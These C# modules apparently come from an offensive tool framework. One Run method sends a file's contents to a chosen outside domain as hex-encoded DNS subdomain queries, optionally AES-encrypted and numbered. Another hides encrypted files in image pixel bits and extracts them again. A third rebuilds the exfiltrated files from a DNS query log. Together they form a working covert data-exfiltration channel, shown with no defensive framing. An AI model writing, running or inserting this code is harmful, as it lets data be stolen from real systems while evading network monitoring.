public override bool Run()
{
if (!File.Exists)
{
return(false);
}
DnsClient dns = DnsServer == null ? DnsClient.Default : new DnsClient(DnsServer, 10000);
bool ipv6 = dns.Servers[0].AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6;
// Get counter
byte[] g;
switch (Convert.ToInt32(Target["Size"]))
{
case 8: { g = BitConverterHelper.GetBytesInt64(CounterHelper.GetNextInt64()); break; }
case 4: { g = BitConverterHelper.GetBytesUInt32(CounterHelper.GetNextUInt32()); break; }
case 2: { g = BitConverterHelper.GetBytesUInt16(CounterHelper.GetNextUInt16()); break; }
case 1: { g = new byte[] { CounterHelper.GetNextByte() }; break; }
default: { g = BitConverterHelper.GetBytesInt64(DateTime.UtcNow.ToBinary()); break; }
}
// Copy file id
bool sendPacketOrder = SendPacketOrder;
int headerLength = g.Length;
if (sendPacketOrder)
{
headerLength += 4; // packetNum
}
byte[] data = new byte[63 / 2]; // hex 2 bytes per byte
Array.Copy(g, data, g.Length);
AESHelper aes = AESHelper.Create(this);
if (aes != null)
{
WriteInfo("Using AES Encryption");
}
else
{
WriteError("Send in RawMode (without any Encryption)");
}
WriteInfo("Start sending file", HexHelper.Buffer2Hex(g, 0, g.Length), ConsoleColor.Green);
byte[] crypted = null;
if (aes != null)
{
using (Stream fs = File.OpenRead())
crypted = aes.Encrypt(fs, false, null);
}
int position = 0;
using (Stream fs = (crypted == null ? (Stream)File.OpenRead() : (Stream) new MemoryStream(crypted)))
{
int total = (int)(fs.Length / (data.Length - headerLength));
if (fs.Length % (data.Length - headerLength) != 0)
{
total++;
}
WriteInfo("Sending " + (total) + " dns querys ...");
StartProgress(total);
while (true)
{
// copy counter
if (sendPacketOrder)
{
byte[] p = BitConverterHelper.GetBytesInt32(position);
Array.Copy(p, 0, data, headerLength - 4, 4);
}
position++;
// read
int lee = fs.Read(data, headerLength, data.Length - headerLength);
if (lee <= 0)
{
break;
}
// generateFile
string name = HexHelper.Buffer2Hex(data, 0, headerLength + lee) + "." + DomainName;
dns.Resolve(name, ipv6 ? RecordType.Aaaa : RecordType.A);
if (Sleep > 0)
{
Thread.Sleep(Sleep);
}
WriteProgress(position);
}
EndProgress();
}
WriteInfo("Done");
return(true);
}
public override bool Run()
{
if (!LocalFileRead.Exists)
{
return(false);
}
AESHelper aes = AESHelper.Create(this);
if (aes != null)
{
WriteInfo("Using AES Encryption");
}
else
{
WriteError("Read/Write in RawMode (without any Encryption)");
}
using (Bitmap img = (Bitmap)Image.FromFile(LocalFileRead.FullName))
{
switch (Mode)
{
case EMode.Write:
{
if (!LocalFileWrite.Exists)
{
WriteError("In this mode LocalFileWrite must exists, and will be replaced with the result image");
return(false);
}
WriteInfo("Start reading file");
byte[] data = File.ReadAllBytes(LocalFileWrite.FullName);
if (aes != null)
{
data = aes.Encrypt(data);
}
byte[] header = BitConverterHelper.GetBytesInt32(data.Length);
int totalSize = data.Length + header.Length;
int av = CalculateMaxLength(img.Width, img.Height);
WriteInfo("Bytes to encode", GetSize(totalSize), ConsoleColor.Green);
WriteInfo("Bytes available", GetSize(av), ConsoleColor.DarkCyan);
if (totalSize <= av)
{
WriteInfo("Its viable!");
}
else
{
WriteError("You need a image more larger or a message more shorter ... sorry :(");
return(false);
}
// crear array binario
StringBuilder binary = new StringBuilder();
for (int x = 0, m = header.Length; x < m; x++)
{
binary.Append(Convert.ToString(header[x], 2).PadLeft(8, '0'));
}
for (int x = 0, m = data.Length; x < m; x++)
{
binary.Append(Convert.ToString(data[x], 2).PadLeft(8, '0'));
}
char[] sb = binary.ToString().ToCharArray();
int sbl = sb.Length;
binary.Clear();
// Cadena binaria creada
int width = img.Width;
int height = img.Height;
bool toLower = true;
WriteInfo("Start writing image");
StartProgress(width * height);
byte r, g, b;
int index = 0, current = 0;
for (int x = 0; x < width; x++)
{
for (int y = 0; y < height; y++)
{
r = GetBinary(sb, ref index, sbl);
g = GetBinary(sb, ref index, sbl);
b = GetBinary(sb, ref index, sbl);
Color clr = img.GetPixel(x, y);
clr = SetColor(clr, r, g, b, toLower);
img.SetPixel(x, y, clr);
current++;
WriteProgress(current);
}
}
EndProgress();
WriteInfo("Writing output");
img.Save(LocalFileWrite.FullName, ImageFormat.Png);
break;
}
case EMode.Read:
{
WriteInfo("Start reading image");
int width = img.Width;
int height = img.Height;
int av = CalculateMaxLength(width, height);
StartProgress(width * height);
byte[] data = null;
byte[] header = new byte[4];
string binary = "";
int dataLength = 0;
int dataIndex = 0;
int headerReaded = 0;
byte b;
int current = 0;
for (int x = 0; x < width; x++)
{
for (int y = 0; y < height; y++)
{
Color clr = img.GetPixel(x, y);
if (Append(ref binary, out b, clr.R % 2 == 0, clr.G % 2 == 0, clr.B % 2 == 0))
{
if (headerReaded < 4)
{
header[headerReaded] = b;
headerReaded++;
if (headerReaded == 4)
{
dataLength = BitConverterHelper.ToInt32(header, 0);
if (dataLength > av)
{
EndProgress();
WriteInfo("Image maybe contains", GetSize(dataLength), ConsoleColor.Green);
WriteError("Max bytes available " + GetSize(av));
return(false);
}
data = new byte[dataLength];
}
}
else
{
data[dataIndex] = b;
dataIndex++;
if (dataIndex >= dataLength)
{
x = width + 1;
break;
}
}
}
current++;
WriteProgress(current);
}
}
EndProgress();
if (aes != null)
{
WriteInfo("Start decrypting file", GetSize(data.Length), ConsoleColor.Green);
data = aes.Decrypt(data);
}
if (data == null)
{
WriteInfo("Error decrypting file");
return(false);
}
WriteInfo("Writing output", GetSize(data.Length), ConsoleColor.Green);
File.WriteAllBytes(LocalFileWrite.FullName, data);
break;
}
}
}
return(true);
}
public override bool Run()
{
if (!File.Exists)
{
return(false);
}
if (!OutFolder.Exists)
{
return(false);
}
AESHelper aes = AESHelper.Create(this);
if (aes != null)
{
WriteInfo("Using AES Encryption");
}
else
{
WriteError("Read in RawMode (without any Encryption)");
}
WriteInfo("Start reading file ...");
Dictionary <string, List <packet> > dic = new Dictionary <string, List <packet> >();
using (Stream fs = (Stream)File.OpenRead())
using (StreamReader sr = new StreamReader(fs))
{
string line;
while ((line = sr.ReadLine()) != null)
{
string fileId;
packet packet;
if (!parse(line, out fileId, out packet))
{
continue;
}
if (dic.ContainsKey(fileId))
{
dic[fileId].Add(packet);
}
else
{
List <packet> pc = new List <packet>();
pc.Add(packet);
dic.Add(fileId, pc);
}
}
}
WriteInfo("Located " + dic.Keys.Count.ToString() + (dic.Keys.Count == 1 ? " file" : " files"));
if (dic.Keys.Count > 0)
{
WriteInfo("Reordering packets ...");
foreach (string k in dic.Keys)
{
List <packet> p = dic[k];
p.Sort(sortPacket);
}
WriteInfo("Dump files ...");
foreach (string k in dic.Keys)
{
List <packet> lp = dic[k];
string path = OutFolder + System.IO.Path.DirectorySeparatorChar.ToString() + k + ".dat";
using (MemoryStream ms = new MemoryStream())
{
foreach (packet p in lp)
{
ms.Write(p.Data, 0, p.Data.Length);
}
if (aes != null)
{
byte[] d = aes.Decrypt(ms.ToArray());
if (d == null)
{
WriteError("Error in decrypt process");
continue;
}
System.IO.File.WriteAllBytes(path, d);
}
else
{
System.IO.File.WriteAllBytes(path, ms.ToArray());
}
WriteInfo("Created file '" + path + "'", new FileInfo(path).Length.ToString(), ConsoleColor.Green);
}
}
}
return(true);
}
public override ECheck Check()
{
try
{
if (!LocalFileRead.Exists)
{
WriteError("LocalFileRead must exists");
return(ECheck.Error);
}
if (Mode == EMode.Write && !LocalFileWrite.Exists)
{
WriteError("In this mode LocalFileWrite must exists, and will be replaced with the result image");
return(ECheck.Error);
}
try
{
Bitmap img = (Bitmap)Image.FromFile(LocalFileRead.FullName);
AESHelper aes = AESHelper.Create(this);
if (Mode == EMode.Write)
{
byte[] data = File.ReadAllBytes(LocalFileWrite.FullName);
if (aes != null)
{
data = aes.Encrypt(data);
}
int totalSize = data.Length + 4;
int av = CalculateMaxLength(img.Width, img.Height);
WriteInfo("Bytes to encode", GetSize(totalSize), ConsoleColor.Green);
WriteInfo("Bytes available", GetSize(av), ConsoleColor.DarkCyan);
if (totalSize <= av)
{
if (totalSize != av)
{
WriteInfo("You can write more!", GetSize(av - totalSize), ConsoleColor.DarkCyan);
}
return(ECheck.Ok);
}
else
{
WriteError("You need a image more larger or a message more shorter ... sorry :(");
return(ECheck.Error);
}
}
img.Dispose();
}
catch
{
WriteError("LocalFileRead must be a valid image");
return(ECheck.Error);
}
return(ECheck.Ok);
}
catch { return(ECheck.Error); }
}
